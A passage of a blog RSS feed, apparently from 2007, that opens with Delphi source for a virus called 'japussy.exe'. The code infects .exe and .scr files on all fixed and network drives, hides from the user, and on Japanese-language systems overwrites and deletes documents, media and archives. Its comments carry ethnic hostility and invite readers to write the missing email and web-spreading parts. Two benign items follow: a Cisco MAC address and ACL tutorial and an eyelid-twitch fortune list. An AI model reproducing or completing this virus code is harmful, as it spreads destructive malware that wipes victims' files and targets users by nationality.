bsp;nil;<br>si.dwflags&nbsp;:=&nbsp;startf_useshowwindow;<br>si.wshowwindow&nbsp;:=&nbsp;state;<br>si.cbreserved2&nbsp;:=&nbsp;0;<br>si.lpreserved2&nbsp;:=&nbsp;nil;<br>end;<br>{&nbsp;发带毒邮件&nbsp;}<br>procedure&nbsp;sendmail;<br>begin<br>//哪位仁兄愿意完成之？<br>end;<br>{&nbsp;感染pe文件&nbsp;}<br>procedure&nbsp;infectonefile(filename:&nbsp;string);<br>var<br>hdrstream,&nbsp;srcstream:&nbsp;tfilestream;<br>icostream,&nbsp;dststream:&nbsp;tmemorystream;<br>iid:&nbsp;longint;<br>aicon:&nbsp;ticon;<br>infected,&nbsp;ispe:&nbsp;boolean;<br>i:&nbsp;integer;<br>buf:&nbsp;array[0..1]&nbsp;of&nbsp;char;<br>begin<br>try&nbsp;//出错则文件正在被使用，退出<br>&nbsp;&nbsp;if&nbsp;comparetext(filename,&nbsp;'japussy.exe')&nbsp;=&nbsp;0&nbsp;then&nbsp;//是自己则不感染<br>&nbsp;&nbsp;&nbsp;&nbsp;exit;<br>&nbsp;&nbsp;infected&nbsp;:=&nbsp;false;<br>&nbsp;&nbsp;ispe&nbsp;&nbsp;&nbsp;:=&nbsp;false;<br>&nbsp;&nbsp;srcstream&nbsp;:=&nbsp;tfilestream.create(filename,&nbsp;fmopenread);<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;$108&nbsp;do&nbsp;//检查pe文件头<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.seek(i,&nbsp;sofrombeginning);<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.read(buf,&nbsp;2);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(buf[0]&nbsp;=&nbsp;#80)&nbsp;and&nbsp;(buf[1]&nbsp;=&nbsp;#69)&nbsp;then&nbsp;//pe标记<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ispe&nbsp;:=&nbsp;true;&nbsp;//是pe文件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.seek(-4,&nbsp;sofromend);&nbsp;//检查感染标记<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.read(iid,&nbsp;4);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(iid&nbsp;=&nbsp;id)&nbsp;or&nbsp;(srcstream.size&nbsp;&lt;&nbsp;10240)&nbsp;then&nbsp;//太小的文件不感染<br>&nbsp;&nbsp;&nbsp;&nbsp;infected&nbsp;:=&nbsp;true;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.free;<br>&nbsp;&nbsp;end;<br>&nbsp;&nbsp;if&nbsp;infected&nbsp;or&nbsp;(not&nbsp;ispe)&nbsp;then&nbsp;//如果感染过了或不是pe文件则退出<br>&nbsp;&nbsp;&nbsp;&nbsp;exit;<br>&nbsp;&nbsp;icostream&nbsp;:=&nbsp;tmemorystream.create;<br>&nbsp;&nbsp;dststream&nbsp;:=&nbsp;tmemorystream.create;<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon&nbsp;:=&nbsp;ticon.create;<br>&nbsp;&nbsp;&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;//得到被感染文件的主图标(744字节)，存入流<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.releasehandle;<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.handle&nbsp;:=&nbsp;extracticon(hinstance,&nbsp;pchar(filename),&nbsp;0);<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.savetostream(icostream);<br>&nbsp;&nbsp;&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream&nbsp;:=&nbsp;tfilestream.create(filename,&nbsp;fmopenread);<br>&nbsp;&nbsp;&nbsp;&nbsp;//头文件<br>&nbsp;&nbsp;&nbsp;&nbsp;hdrstream&nbsp;:=&nbsp;tfilestream.create(paramstr(0),&nbsp;fmopenread&nbsp;or&nbsp;fmsharedenynone);<br>&nbsp;&nbsp;&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入病毒体主图标之前的数据<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(hdrstream,&nbsp;0,&nbsp;dststream,&nbsp;0,&nbsp;iconoffset);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入目前程序的主图标<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(icostream,&nbsp;22,&nbsp;dststream,&nbsp;iconoffset,&nbsp;iconsize);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入病毒体主图标到病毒体尾部之间的数据<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(hdrstream,&nbsp;icontail,&nbsp;dststream,&nbsp;icontail,&nbsp;headersize&nbsp;-&nbsp;icontail);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入宿主程序<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(srcstream,&nbsp;0,&nbsp;dststream,&nbsp;headersize,&nbsp;srcstream.size);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入已感染的标记<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.seek(0,&nbsp;2);<br>&nbsp;&nbsp;&nbsp;&nbsp;iid&nbsp;:=&nbsp;$44444444;<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.write(iid,&nbsp;4);<br>&nbsp;&nbsp;&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;hdrstream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;icostream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.savetofile(filename);&nbsp;//替换宿主文件<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.free;<br>&nbsp;&nbsp;end;<br>except;<br>end;<br>end;<br>{&nbsp;将目标文件写入垃圾码后删除&nbsp;}<br>procedure&nbsp;smashfile(filename:&nbsp;string);<br>var<br>filehandle:&nbsp;integer;<br>i,&nbsp;size,&nbsp;mass,&nbsp;max,&nbsp;len:&nbsp;integer;<br>begin<br>try<br>&nbsp;&nbsp;setfileattributes(pchar(filename),&nbsp;0);&nbsp;//去掉只读属性<br>&nbsp;&nbsp;filehandle&nbsp;:=&nbsp;fileopen(filename,&nbsp;fmopenwrite);&nbsp;//打开文件<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;size&nbsp;:=&nbsp;getfilesize(filehandle,&nbsp;nil);&nbsp;//文件大小<br>&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;:=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;randomize;<br>&nbsp;&nbsp;&nbsp;&nbsp;max&nbsp;:=&nbsp;random(15);&nbsp;//写入垃圾码的随机次数<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;max&nbsp;&lt;&nbsp;5&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;max&nbsp;:=&nbsp;5;<br>&nbsp;&nbsp;&nbsp;&nbsp;mass&nbsp;:=&nbsp;size&nbsp;div&nbsp;max;&nbsp;//每个间隔块的大小<br>&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;:=&nbsp;length(catchword);<br>&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;i&nbsp;&lt;&nbsp;max&nbsp;do<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;fileseek(filehandle,&nbsp;i&nbsp;*&nbsp;mass,&nbsp;0);&nbsp;//定位<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入垃圾码，将文件彻底破坏掉<br>&nbsp;&nbsp;&nbsp;&nbsp;filewrite(filehandle,&nbsp;catchword,&nbsp;len);<br>&nbsp;&nbsp;&nbsp;&nbsp;inc(i);<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;fileclose(filehandle);&nbsp;//关闭文件<br>&nbsp;&nbsp;end;<br>&nbsp;&nbsp;deletefile(pchar(filename));&nbsp;//删除之<br>except<br>end;<br>end;<br>{&nbsp;获得可写的驱动器列表&nbsp;}<br>function&nbsp;getdrives:&nbsp;string;<br>var<br>disktype:&nbsp;word;<br>d:&nbsp;char;<br>str:&nbsp;string;<br>i:&nbsp;integer;<br>begin<br>for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;25&nbsp;do&nbsp;//遍历26个字母<br>begin<br>&nbsp;&nbsp;d&nbsp;:=&nbsp;chr(i&nbsp;+&nbsp;65);<br>&nbsp;&nbsp;str&nbsp;:=&nbsp;d&nbsp;+&nbsp;':\';<br>&nbsp;&nbsp;disktype&nbsp;:=&nbsp;getdrivetype(pchar(str));<br>&nbsp;&nbsp;//得到本地磁盘和网络盘<br>&nbsp;&nbsp;if&nbsp;(disktype&nbsp;=&nbsp;drive_fixed)&nbsp;or&nbsp;(disktype&nbsp;=&nbsp;drive_remote)&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;:=&nbsp;result&nbsp;+&nbsp;d;<br>end;<br>end;<br>{&nbsp;遍历目录，感染和摧毁文件&nbsp;}<br>procedure&nbsp;loopfiles(path,&nbsp;mask:&nbsp;string);<br>var<br>i,&nbsp;count:&nbsp;integer;<br>fn,&nbsp;ext:&nbsp;string;<br>subdir:&nbsp;tstrings;<br>searchrec:&nbsp;tsearchrec;<br>msg:&nbsp;tmsg;<br>function&nbsp;isvaliddir(searchrec:&nbsp;tsearchrec):&nbsp;integer;<br>begin<br>&nbsp;&nbsp;if&nbsp;(searchrec.attr&nbsp;&lt;&gt;&nbsp;16)&nbsp;and&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'.')&nbsp;and<br>&nbsp;&nbsp;&nbsp;&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'..')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;:=&nbsp;0&nbsp;//不是目录<br>&nbsp;&nbsp;else&nbsp;if&nbsp;(searchrec.attr&nbsp;=&nbsp;16)&nbsp;and&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'.')&nbsp;and<br>&nbsp;&nbsp;&nbsp;&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'..')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;:=&nbsp;1&nbsp;//不是根目录<br>&nbsp;&nbsp;else&nbsp;result&nbsp;:=&nbsp;2;&nbsp;//是根目录<br>end;<br>begin<br>if&nbsp;(findfirst(path&nbsp;+&nbsp;mask,&nbsp;faanyfile,&nbsp;searchrec)&nbsp;=&nbsp;0)&nbsp;then<br>begin<br>&nbsp;&nbsp;repeat<br>&nbsp;&nbsp;&nbsp;&nbsp;peekmessage(msg,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;pm_remove);&nbsp;//调整消息队列，避免引起怀疑<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;isvaliddir(searchrec)&nbsp;=&nbsp;0&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;fn&nbsp;:=&nbsp;path&nbsp;+&nbsp;searchrec.name;<br>&nbsp;&nbsp;&nbsp;&nbsp;ext&nbsp;:=&nbsp;uppercase(extractfileext(fn));<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ext&nbsp;=&nbsp;'.exe')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.scr')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;infectonefile(fn);&nbsp;//感染可执行文件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(ext&nbsp;=&nbsp;'.htm')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.html')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.asp')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//感染html和asp文件，将base64编码后的病毒写入<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//感染浏览此网页的所有用户<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//哪位大兄弟愿意完成之？<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;ext&nbsp;=&nbsp;'.wab'&nbsp;then&nbsp;//outlook地址簿文件<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//获取outlook邮件地址<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;ext&nbsp;=&nbsp;'.adc'&nbsp;then&nbsp;//foxmail地址自动完成文件<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//获取foxmail邮件地址<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;ext&nbsp;=&nbsp;'ind'&nbsp;then&nbsp;//foxmail地址簿文件<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//获取foxmail邮件地址<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;isjap&nbsp;then&nbsp;//是倭文操作系统<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ext&nbsp;=&nbsp;'.doc')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.xls')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.mdb')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.mp3')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.rm')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.ra')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.wma')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.zip')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.rar')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.mpeg')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.asf')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.jpg')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.jpeg')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.gif')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.swf')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.pdf')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.chm')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.avi')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smashfile(fn);&nbsp;//摧毁文件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑<br>&nbsp;&nbsp;&nbsp;&nbsp;sleep(200);<br>&nbsp;&nbsp;until&nbsp;(findnext(searchrec)&nbsp;&lt;&gt;&nbsp;0);<br>end;<br>findclose(searchrec);<br>subdir&nbsp;:=&nbsp;tstringlist.create;<br>if&nbsp;(findfirst(path&nbsp;+&nbsp;'*.*',&nbsp;fadirectory,&nbsp;searchrec)&nbsp;=&nbsp;0)&nbsp;then<br>begin<br>&nbsp;&nbsp;repeat<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;isvaliddir(searchrec)&nbsp;=&nbsp;1&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;subdir.add(searchrec.name);<br>&nbsp;&nbsp;until&nbsp;(findnext(searchrec)&nbsp;&lt;&gt;&nbsp;0);<br>&nbsp;&nbsp;end;<br>findclose(searchrec);<br>count&nbsp;:=&nbsp;subdir.count&nbsp;-&nbsp;1;<br>for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;count&nbsp;do<br>&nbsp;&nbsp;loopfiles(path&nbsp;+&nbsp;subdir.strings&nbsp;+&nbsp;'\',&nbsp;mask);<br>freeandnil(subdir);<br>end;<br>{&nbsp;遍历磁盘上所有的文件&nbsp;}<br>procedure&nbsp;infectfiles;<br>var<br>driverlist:&nbsp;string;<br>i,&nbsp;len:&nbsp;integer;<br>begin<br>if&nbsp;getacp&nbsp;=&nbsp;932&nbsp;then&nbsp;//日文操作系统<br>&nbsp;&nbsp;isjap&nbsp;:=&nbsp;true;&nbsp;//去死吧！<br>driverlist&nbsp;:=&nbsp;getdrives;&nbsp;//得到可写的磁盘列表<br>len&nbsp;:=&nbsp;length(driverlist);<br>while&nbsp;true&nbsp;do&nbsp;//死循环<br>begin<br>&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;len&nbsp;downto&nbsp;1&nbsp;do&nbsp;//遍历每个磁盘驱动器<br>&nbsp;&nbsp;&nbsp;&nbsp;loopfiles(driverlist&nbsp;+&nbsp;':\',&nbsp;'*.*');&nbsp;//感染之<br>&nbsp;&nbsp;sendmail;&nbsp;//发带毒邮件<br>&nbsp;&nbsp;sleep(1000&nbsp;*&nbsp;60&nbsp;*&nbsp;5);&nbsp;//睡眠5分钟<br>end;<br>end;<br>{&nbsp;主程序开始&nbsp;}<br>begin<br>if&nbsp;iswin9x&nbsp;then&nbsp;//是win9x<br>&nbsp;&nbsp;registerserviceprocess(getcurrentprocessid,&nbsp;1)&nbsp;//注册为服务进程<br>else&nbsp;//winnt<br>begin<br>&nbsp;&nbsp;//远程线程映射到explorer进程<br>&nbsp;&nbsp;//哪位兄台愿意完成之？<br>end;<br>//如果是原始病毒体自己<br>if&nbsp;comparetext(extractfilename(paramstr(0)),&nbsp;'japussy.exe')&nbsp;=&nbsp;0&nbsp;then<br>&nbsp;&nbsp;infectfiles&nbsp;//感染和发邮件<br>else&nbsp;//已寄生于宿主程序上了，开始工作<br>begin<br>&nbsp;&nbsp;tmpfile&nbsp;:=&nbsp;paramstr(0);&nbsp;//创建临时文件<br>&nbsp;&nbsp;delete(tmpfile,&nbsp;length(tmpfile)&nbsp;-&nbsp;4,&nbsp;4);<br>&nbsp;&nbsp;tmpfile&nbsp;:=&nbsp;tmpfile&nbsp;+&nbsp;#32&nbsp;+&nbsp;'.exe';&nbsp;//真正的宿主文件，多一个空格<br>&nbsp;&nbsp;extractfile(tmpfile);&nbsp;//分离之<br>&nbsp;&nbsp;fillstartupinfo(si,&nbsp;sw_showdefault);<br>&nbsp;&nbsp;createprocess(pchar(tmpfile),&nbsp;pchar(tmpfile),&nbsp;nil,&nbsp;nil,&nbsp;true,<br>&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;nil,&nbsp;'.',&nbsp;si,&nbsp;pi);&nbsp;//创建新进程运行之<br>&nbsp;&nbsp;infectfiles;&nbsp;//感染和发邮件<br>end;<br>end.</span> 
<img src ="http://www.cnitblog.com/yiye/aggbug/27417.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2007-05-21 22:51 <a href="http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>以太网MAC地址的获取更改应用 </title><link>http://www.cnitblog.com/yiye/archive/2007/05/21/27416.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Mon, 21 May 2007 14:50:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2007/05/21/27416.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/27416.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2007/05/21/27416.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/27416.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/27416.html</trackback:ping><description><![CDATA[<div>
<p style="TEXT-INDENT: 2em">以太网mac地址唯一地标识了世界上的每个以太网设备。每一个生产网络设备的厂商都要将mac地址预先写进其设备中（如：以太网网卡，路由器，交换机等）。各种媒体已有很多文章介绍获得mac地址的方法。今天我们主要讨论怎样在cisco的ios获得、改变mac地址，并使用mac地址进行网络通信过滤。
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em"><strong>获得mac地址</strong>
<p style="TEXT-INDENT: 2em">在交换机的命令输入窗口，输入&#8220;show mac-address-table&#8221;可以获得mac地址表，例如：
<p style="TEXT-INDENT: 2em">
<center><ccid_nobr>
<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
    <tbody>
        <tr>
            <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
            <pre><ccid_code>switch# show mac-address-table
            mac address table
            -------------------------------------------
            vlan    mac address       type        ports
            ----    -----------       --------    -----
            all    0014.1c40.b080    static      cpu
            all    0100.0ccc.cccc    static      cpu
            all    0100.0ccc.cccd    static      cpu
            all    0100.0cdd.dddd    static      cpu
            1    000f.1fd3.d85a    dynamic     fa0/14</ccid_code></pre>
            </td>
        </tr>
    </tbody>
</table>
</ccid_nobr></center><br>在思科路由器上，可以使用&#8220;show interfaces&#8221;来查看mac地址。例如：
<p style="TEXT-INDENT: 2em">
<center><ccid_nobr>
<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
    <tbody>
        <tr>
            <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
            <pre><ccid_code>routerb# show interfaces
            ethernet0/0 is up, line protocol is up
            hardware is amdp2, address is 0003.e39b.9220 (bia 0003.e39b.9220)
            internet address is 1.1.1.1/8</ccid_code></pre>
            </td>
        </tr>
    </tbody>
</table>
</ccid_nobr></center><br>在第二行，可以看到：&#8220;bia 0003.e39b.9220&#8221;，bia即&#8220;烧录地址&#8221;（burned in address），mac地址即0003.e39b.9220。
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em"><strong>改变mac地址</strong>
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em">改变mac地址实质上其否定含义就是mac欺骗。特别是对于无线网络的攻击，改变mac地址是常用的方法。改变mac地址也可以用于合法的用途，如测试mac过滤。
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em">要改变设备在路由器上的mac地址，需在interface configuration mode（界面配置模式）下，使用&#8220;mac &#8211;地址&#8221;命令。例如：
<p style="TEXT-INDENT: 2em">
<center><ccid_nobr>
<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
    <tbody>
        <tr>
            <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
            <pre><ccid_code>routerb# conf t
            enter configuration commands, one per line.  end with cntl/z.
            routerb(config)# int e0/0
            routerb(config-if)# mac-address 0000.0000.0001
            routerb(config-if)#^z
            routerb#
            routerb# show int e0/0
            ethernet0/0 is up, line protocol is up
            hardware is amdp2, address is 0000.0000.0001 (bia 0003.e39b.9220)
            internet address is 1.1.1.1/8</ccid_code></pre>
            </td>
        </tr>
    </tbody>
</table>
</ccid_nobr></center><br>在改变mac地址以后，可以使用show interface命令来查看新的地址。
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em"><strong>基于mac地址的通信过滤</strong>
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em">通过协议分析仪，可以发现一些网络中某些设备非正常的数据通信。例如，某设备通过多个ip地址发送数据包。
<p style="TEXT-INDENT: 2em">这种情况，可以使用show mac-address-table命令来查看它所使用的交换机端口，并可以关闭此端口。但是，如果此端口连接的是一个集线器，而集线器又连接了许多其它设备那该怎么办呢？
<p style="TEXT-INDENT: 2em">有一个方法便是使用mac地址过滤来对路由器或交换机的数据通信进行过滤。下面是一个例子：
<p style="TEXT-INDENT: 2em">
<center><ccid_nobr>
<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
    <tbody>
        <tr>
            <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
            <pre><ccid_code>cat3750switch(config)# mac access-list ext filtermac
            cat3750switch(config-ext-macl)# deny host 0000.0000.0001 any
            cat3750switch(config-ext-macl)# permit any any
            cat3750switch(config-ext-macl)# exit
            cat3750switch(config)# int g1/0/40
            cat3750switch(config-if)# mac access-group filtermac in</ccid_code></pre>
            </td>
        </tr>
    </tbody>
</table>
</ccid_nobr></center><br>此命令在cisco catalyst 3750 gigabit ethernet switch交换机上完成。我们创建了一个名为&#8220;filtermac&#8221;的acl（访问控制表）。这个acl拒绝了与源地址为0000.0000.0001（十六进制非二进制）的所有数据通信，但是却允许其它地址的数据通信。将这个acl运用到界面1/0/40，这就防止了拥有这个mac地址的设备与本端口的数据通信，而不管它的ip地址是什么。
<p style="TEXT-INDENT: 2em">但是，不管怎么说，mac地址过滤并非安全措施，因为他人可以轻易地改变mac地址。 </p>
</div>
<img src ="http://www.cnitblog.com/yiye/aggbug/27416.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2007-05-21 22:50 <a href="http://www.cnitblog.com/yiye/archive/2007/05/21/27416.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>左吉右凶？眼皮跳大占卜</title><link>http://www.cnitblog.com/yiye/archive/2007/05/20/27333.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Sun, 20 May 2007 13:28:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2007/05/20/27333.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/27333.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2007/05/20/27333.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/27333.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/27333.html</trackback:ping><description><![CDATA[<font face=Verdana><strong>子时：23点——01点前<br><br></strong>　　左眼：意外之喜降临，会有不错好运，你的心脏要强一点，别兴奋过了头。<br>　　右眼：有人请你吃饭，可 </font>
<table align=left>
    <tbody>
        <tr>
            <td><span id=adv_div_default style="DISPLAY: none"><font face=Verdana></font></span></td>
        </tr>
    </tbody>
</table>
以省下一笔钱，但是这个人的目的不明，你要多多斟酌。<font face=Verdana>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 丑时：01点——03点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：家中最近很麻烦，大小事困扰着，不知该怎么办，短期内一筹莫展。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：有人思念你，有可能是家中长辈，相互牵挂太久了，有空打电话关心一下吧。</p>
<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; 寅时：03点——05点前</strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp; 左眼：会有朋友自远方而来，狠狠吃你一顿！如果你并非别有所图或手边闲钱多，接到朋友电话一定要装忙。<br>&nbsp;&nbsp;&nbsp;&nbsp; 右眼：家人有机会得到意外之财，例如忽然中了奖，也有可能丢掉的钱又找回来了。</p>
